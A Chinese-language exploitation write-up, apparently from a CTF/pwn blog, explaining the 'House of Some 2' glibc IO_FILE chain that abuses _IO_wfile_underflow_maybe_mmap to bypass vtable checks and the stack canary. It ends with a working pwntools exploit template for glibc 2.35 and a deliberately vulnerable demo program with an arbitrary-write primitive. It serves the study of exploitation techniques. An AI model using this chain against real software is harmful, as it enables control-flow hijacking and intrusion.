House of Some 2 —— 高版本Glibc的IO_FILE利用思路

House of Some 2是独立的一条IO_FILE利用链，主要关注的函数是_IO_wfile_jumps_maybe_mmap中的_IO_wfile_underflow_maybe_mmap

利用条件为

1. 已知libc地址
2. 可控地址(可写入fake file)
3. 可控stdout指针或者_IO_2_1_stdout_结构体
4. 程序具有printf或者puts输出函数

优点如下

1. 与House of Some一样可以绕过目前的vtable检查
2. printf和puts比较普遍，适用性广
3. 可以在栈上劫持控制流，衔接House of Some，完成最后攻击

原理描述

前置知识

首先我们先关注_IO_wfile_underflow_maybe_mmap函数

wint_t
_IO_wfile_underflow_maybe_mmap (FILE *fp)
{
  /* This is the first read attempt.  Doing the underflow will choose mmap
     or vanilla operations and then punt to the chosen underflow routine.
     Then we can punt to ours.  */
  if (_IO_file_underflow_maybe_mmap (fp) == EOF)
    return WEOF;

  return _IO_WUNDERFLOW (fp);
}

这个函数最后调用了_wide_data内的虚表_IO_WUNDERFLOW

那么继续深入_IO_file_underflow_maybe_mmap函数

int
_IO_file_underflow_maybe_mmap (FILE *fp)
{
  /* This is the first read attempt.  Choose mmap or vanilla operations
     and then punt to the chosen underflow routine.  */
  decide_maybe_mmap (fp);
  return _IO_UNDERFLOW (fp);
}

这个函数最后调用了FILE的虚表_IO_UNDERFLOW

继续深入decide_maybe_mmap函数

static void
decide_maybe_mmap (FILE *fp)
{
  /* We use the file in read-only mode.  This could mean we can
     mmap the file and use it without any copying.  But not all
     file descriptors are for mmap-able objects and on 32-bit
     machines we don't want to map files which are too large since
     this would require too much virtual memory.  */
  struct __stat64_t64 st;

  if (_IO_SYSSTAT (fp, &st) == 0
      && S_ISREG (st.st_mode) && st.st_size != 0
      /* Limit the file size to 1MB for 32-bit machines.  */
      && (sizeof (ptrdiff_t) > 4 || st.st_size < 1*1024*1024)
      /* Sanity check.  */
      && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size))
    {
      /* Try to map the file.  */
      void *p;
      ... 这里主要就是做了mmap
    }

  /* We couldn't use mmap, so revert to the vanilla file operations.  */

  if (fp->_mode <= 0)
    _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps;
  else
    _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps;
  fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;
}

这个函数有一个关键的_IO_SYSSTAT调用，以及，在这个函数最后会恢复FILE和_wide_data的虚表

整理一下可以知道，如果一个FILE进入了函数_IO_wfile_underflow_maybe_mmap，那么他将会运行如下的流程

1. _IO_SYSSTAT(fp, &st)调用虚表，传入栈指针
2. decide_maybe_mmap函数结束，恢复两个虚表
3. _IO_UNDERFLOW (fp)调用虚表
4. _IO_WUNDERFLOW (fp)调用虚表

以及补充的条件

在_IO_file_jumps虚表的_IO_UNDERFLOW函数中

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
       fp->_IO_buf_end - fp->_IO_buf_base);

这一步，三个参数都可控，也就是可以写入任意地址

最后我们需要补充一下IO_jump_t结构体的全貌

/* offset      |    size */  type = struct _IO_jump_t {
/* 0x0000      |  0x0008 */    size_t __dummy;
/* 0x0008      |  0x0008 */    size_t __dummy2;
/* 0x0010      |  0x0008 */    _IO_finish_t __finish;
/* 0x0018      |  0x0008 */    _IO_overflow_t __overflow;
/* 0x0020      |  0x0008 */    _IO_underflow_t __underflow;
/* 0x0028      |  0x0008 */    _IO_underflow_t __uflow;
/* 0x0030      |  0x0008 */    _IO_pbackfail_t __pbackfail;
/* 0x0038      |  0x0008 */    _IO_xsputn_t __xsputn;
/* 0x0040      |  0x0008 */    _IO_xsgetn_t __xsgetn;
/* 0x0048      |  0x0008 */    _IO_seekoff_t __seekoff;
/* 0x0050      |  0x0008 */    _IO_seekpos_t __seekpos;
/* 0x0058      |  0x0008 */    _IO_setbuf_t __setbuf;
/* 0x0060      |  0x0008 */    _IO_sync_t __sync;
/* 0x0068      |  0x0008 */    _IO_doallocate_t __doallocate;
/* 0x0070      |  0x0008 */    _IO_read_t __read;
/* 0x0078      |  0x0008 */    _IO_write_t __write;
/* 0x0080      |  0x0008 */    _IO_seek_t __seek;
/* 0x0088      |  0x0008 */    _IO_close_t __close;
/* 0x0090      |  0x0008 */    _IO_stat_t __stat;
/* 0x0098      |  0x0008 */    _IO_showmanyc_t __showmanyc;
/* 0x00a0      |  0x0008 */    _IO_imbue_t __imbue;

                               /* total size (bytes):  168 */
                             }

第一次猜想

在printf和puts函数中，最后会调用stdout的__xsputn虚表的入口

如果我们使得__xsputn的偏移直接指向__underflow呢？

那么就会得到如下的偏移

__xsputn -> __underflow
__stat   -> __write

此时，修改stdout的虚表为_IO_wfile_jumps_maybe_mmap-0x18

在上述调用过程中_IO_SYSSTAT(fp, &st)这个函数就会变成write(fp, &st, ??)

如果我们能够控制rdx就好了，这里就能做到栈数据泄露

rdx的控制

很遗憾，在上述函数过程中，并没有涉及rdx的操作(注: 以Ubuntu GLIBC 2.35-0ubuntu3.1为例，后文相同)

能够控制的也就只有后续调用的_IO_UNDERFLOW (fp)中的_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);可以控制，由于decide_maybe_mmap会强制恢复虚表，所以这里我们不用担心篡改虚表带来的影响

如果rdx不可控直接执行write(fp, &st, ??)会怎么样，返回0或者非0

那么回到decide_maybe_mmap

if (_IO_SYSSTAT (fp, &st) == 0
    && S_ISREG (st.st_mode) && st.st_size != 0
...
   && (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size))
  {
...
  }

这里判断，如果_IO_SYSSTAT (fp, &st)返回0，那么直接就不会进入if，如果返回不为0，我们看看S_ISREG的定义

#define	__S_ISTYPE(mode, mask)	(((mode) & __S_IFMT) == (mask))
#define	S_ISREG(mode)	 __S_ISTYPE((mode), __S_IFREG)

不必关注详细的值，这里可以看到最后判断采用的是==判断，由于栈上数据的限制，这里通过判断的概率不高

以及还有st.st_size != 0判断，在没有正确执行stat逻辑，栈维持原貌的情况下，这个if通过概率不高

如果还高，可以控制fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size为假即可

那么就能顺利的执行完decide_maybe_mmap，并且保留伪造的fp内容没有任何变动

接下来就是调用_IO_file_jumps虚表的_IO_UNDERFLOW，操作执行read

这里，我们可以设置，注意fake_file_start就是我们当前控制的fp地址

_IO_buf_base = fake_file_start
_IO_buf_end  = fake_file_start + 0x1c8 // 这里的1c8包括了widedata的长度

那么，这里我们就能再次重新复写fake，并扩大可控长度，widedata都可控了

回到上面执行流程，接下来就会执行_IO_WUNDERFLOW (fp)这个虚表函数了

然而，上述我们通过underflow重新控制了fp，也就是接下来的这个虚表函数，我们也是可控的

这里我们控制为

_IO_WUNDERFLOW(fp) -> _IO_wfile_underflow_maybe_mmap

回到起点

我们再次回到了起点，但是这次不一样了

在上一个小节，其实我们已经控制了rdx，因为_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);的第三个参数

rdx = fp->_IO_buf_end - fp->_IO_buf_base

此时，此时我们依然有这四个执行流程

1. _IO_SYSSTAT(fp, &st)调用虚表，传入栈指针
2. decide_maybe_mmap函数结束，恢复两个虚表
3. _IO_UNDERFLOW (fp)调用虚表
4. _IO_WUNDERFLOW (fp)调用虚表

不同的是，此时_IO_SYSSTAT(fp, &st)可以被指向任意的虚表函数，因为在第二次控制fp的时候，我们又一次覆写了FILE的vtable

那么此时我们就可以控制

_IO_SYSSTAT(fp, &st) -> _IO_new_file_read(fp, &st, rdx)

我们已经成功完成了栈溢出

还有高手？Canary

很不幸，decide_maybe_mmap函数开启了canary，我们没办法在没有泄露栈的情况下，完成栈溢出

由于fileno的设置，无法完成write(1,stack,rdx)的操作，真的没有办法的了吗

那么接下来，有请_IO_default_xsputn和_IO_default_xsgetn

我们阅读这两个函数源码

size_t
_IO_default_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t more = n;
  char *s = (char*) data;
  for (;;)
    {
      /* Data available. */
      if (fp->_IO_read_ptr < fp->_IO_read_end)
	{
	  size_t count = fp->_IO_read_end - fp->_IO_read_ptr;
	  if (count > more)
	    count = more;
	  if (count > 20)
	    {
	      s = __mempcpy (s, fp->_IO_read_ptr, count);
	      fp->_IO_read_ptr += count;
	    }
	  else if (count)
	    {
	      char *p = fp->_IO_read_ptr;
	      int i = (int) count;
	      while (--i >= 0)
		*s++ = *p++;
	      fp->_IO_read_ptr = p;
	    }
	    more -= count;
	}
      if (more == 0 || __underflow (fp) == EOF)
	break;
    }
  return n - more;
}


size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
  const char *s = (char *) data;
  size_t more = n;
  if (more <= 0)
    return 0;
  for (;;)
    {
      /* Space available. */
      if (f->_IO_write_ptr < f->_IO_write_end)
	{
	  size_t count = f->_IO_write_end - f->_IO_write_ptr;
	  if (count > more)
	    count = more;
	  if (count > 20)
	    {
	      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
	      s += count;
	    }
	  else if (count)
	    {
	      char *p = f->_IO_write_ptr;
	      ssize_t i;
	      for (i = count; --i >= 0; )
		*p++ = *s++;
	      f->_IO_write_ptr = p;
	    }
	  more -= count;
	}
      if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
	break;
      more--;
    }
  return n - more;
}

可以知道，这是对于fp内的缓冲区的操作，可以关注到的是这里函数内有两个关键的部分

_IO_default_xsgetn (FILE *fp, void *data, size_t n) 
    ==> __mempcpy(data, fp->_IO_read_ptr, n);
_IO_default_xsputn (FILE *f, const void *data, size_t n) 
    ==> __mempcpy (f->_IO_write_ptr, data, n);

如果能够保证

fp->_IO_read_end - fp->_IO_read_ptr == n
f->_IO_write_end - f->_IO_write_ptr == n

就不会进入__underflow和_IO_OVERFLOW降低其他函数的干扰

这个时候就能衍生出一个大胆的想法，如果我们先将栈复制一份到可控的区域，再通过偏移写入，最后再拷贝回到栈内，那么我们就能完美的绕过canary并且，并不需要泄露canary

最后

又到了喜闻乐见的模板环节，此模板也将自动化整理发布至https://github.com/CsomePro/Some-of-House

相关偏移为Ubuntu GLIBC 2.35-0ubuntu3.1版本glibc

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

tob = lambda x: str(x).encode()
io = process("./demo")

io.recvuntil(b"[+] printf: ")
printf_addr = int(io.recvuntil(b"\n", drop=True), 16)
log.success(f"printf_addr: {printf_addr:#x}")

def add(size):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size> ", tob(size))
    
def write(addr, size, content):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"size> ", tob(size))
    io.sendlineafter(b"addr> ", tob(addr))
    io.sendafter(b"content> ", content)

def leave():
    io.sendlineafter(b"> ", b"3")

libc = ELF("./libc.so.6", checksec=False)
libc_base = printf_addr - libc.symbols["printf"]
libc.address = libc_base
log.success(f"libc_base: {libc_base:#x}")

_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40
log.success(f"_IO_wfile_jumps_maybe_mmap: {_IO_wfile_jumps_maybe_mmap:#}")
_IO_str_jumps = libc.address + 0x2166c0
log.success(f"_IO_str_jumps: {_IO_str_jumps:#}")
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

# 此处直接修改_IO_2_1_stdout_内容
write(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({
    0x0: 0x8000, # disable lock
    0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
    0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
    0x70: 0, # _fileno
    0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
    0xc0: p32(0xffffffff), # _mode < 0
    0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b"\x00"))

# 拷贝栈上数据到可控地址，这里拷贝到_IO_2_1_stdout_的上方，方便下次写入顺便完成fp第三次控制
io.send(flat({
    0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
    
    0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
    0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
    0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,   
    0xc0: p32(0xffffffff),
    
    0xd8: _IO_default_xsputn - 0x90, # vtable
    0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
    0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end

    0xe0: {
        0xe0: _IO_wfile_jumps_maybe_mmap
    }
}, filler=b"\x00"))

# 最后这里就可以劫持执行流到0xdeadbeaf了
io.send(flat({
    0: 0xdeadbeaf, # retn
    0x1c8-0xc8: {
        0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
        0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
        0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,   
        0xc0: p32(0xffffffff),

        0xd8: _IO_default_xsgetn - 0x90, # vtable
        0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
        0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end

        0xe0: {
            0xe0: _IO_wfile_jumps_maybe_mmap
        }
}
}, filler=b"\x00"))

io.interactive()

附录

demo程序

// gcc demo.c -o demo
#include<stdio.h>

int main(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int c;
    printf("[+] printf: %p\n", &printf);
    while (1) {
        puts(
            "1. add heap.\n"
            "2. write libc.\n"
            "3. exit");
            printf("> "
        );
        scanf("%d", &c);
        if(c == 1) {
            int size;
            printf("size> ");
            scanf("%d", &size);
            char *p = malloc(size);
            printf("[+] done %p\n", p);
            printf("content> ");
            read(0, p, size);
        } else if(c == 2){
            size_t addr, size;
            printf("size> ");
            scanf("%lld", &size);
            printf("addr> ");
            scanf("%lld", &addr);
            printf("content> ");
            read(0, (char*)addr, size);
        } else {
            break;   
        }
    }
}

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作者: Csome